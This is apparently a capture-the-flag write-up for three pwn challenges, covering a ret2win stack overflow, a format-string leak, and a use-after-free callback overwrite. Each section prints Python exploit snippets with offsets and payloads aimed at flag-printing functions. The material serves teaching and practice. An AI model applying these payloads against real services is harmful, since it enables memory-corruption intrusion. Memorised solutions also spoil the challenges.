Three small pwn challenges
Three small services, the bugs they expose, and scripts for each solve. The code uses sockets and struct, with no third party modules.
How these scripts are written
All three use the same little endian helpers. The mask keeps values inside an unsigned 64 bit word. u64 is useful when a service sends a pointer as eight raw bytes; these examples print leaks as text.
import struct
p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]Check the offsets in the challenge binary before running a script.
Gatehouse: a plain ret2win
Gatehouse greets you with main: 0x..., prints entry> , then reads a line into a 64 byte stack buffer. The saved return address is 72 bytes from the beginning of the input. There is no canary; PIE and NX are enabled.
The leak gives the binary base. main is at offset 0x1260, while the flag printing function is at 0x11b9. After 72 filler bytes, I put the calculated address of that function.
main_addr = int(leak.split()[-1], 16)
base = main_addr - 0x1260
win = base + 0x11b9
payload = b"A" * 72 + p64(win) + b"\n"
sock.sendall(payload)Ledger: a pointer on the stack
Ledger asks for a name, then echoes it with printf(name). Its ninth format argument points into report, at offset 0x1412. A second prompt reads a note into a stack buffer with the return address 88 bytes away.
I ask for %9$p, subtract the known offset, and use the result to find win at 0x11e0. The script waits for the exact prompts so it does not mistake the greeting for the leak.
sock.sendall(b"%9$p\n")
answer = until(sock, b"note> ")
leaked = answer.split(b"hello ", 1)[1].split(b"\n", 1)[0]
base = int(leaked, 16) - 0x1412
sock.sendall(b"B" * 88 + p64(base + 0x11e0) + b"\n")Rivets: stale notes
Rivets is a text based note service. Each note has 32 bytes of text followed by a preview callback. drop 0 frees note zero but leaves its handle in the table. replace 0 writes into the freed slot; the protocol expects the first 32 bytes as plain text and the callback as 16 hex digits.
The banner reveals preview at offset 0x1350. The hidden reveal callback is at 0x1240. After replacing the callback, show 0 calls it.
base = preview - 0x1350
reveal = base + 0x1240
command(sock, b"new 0")
command(sock, b"drop 0")
command(sock, b"replace 0 " + b"C" * 32 + p64(reveal).hex().encode())
print(command(sock, b"show 0"))Each script expects the prompts and offsets described above. Use the matching challenge service when running it.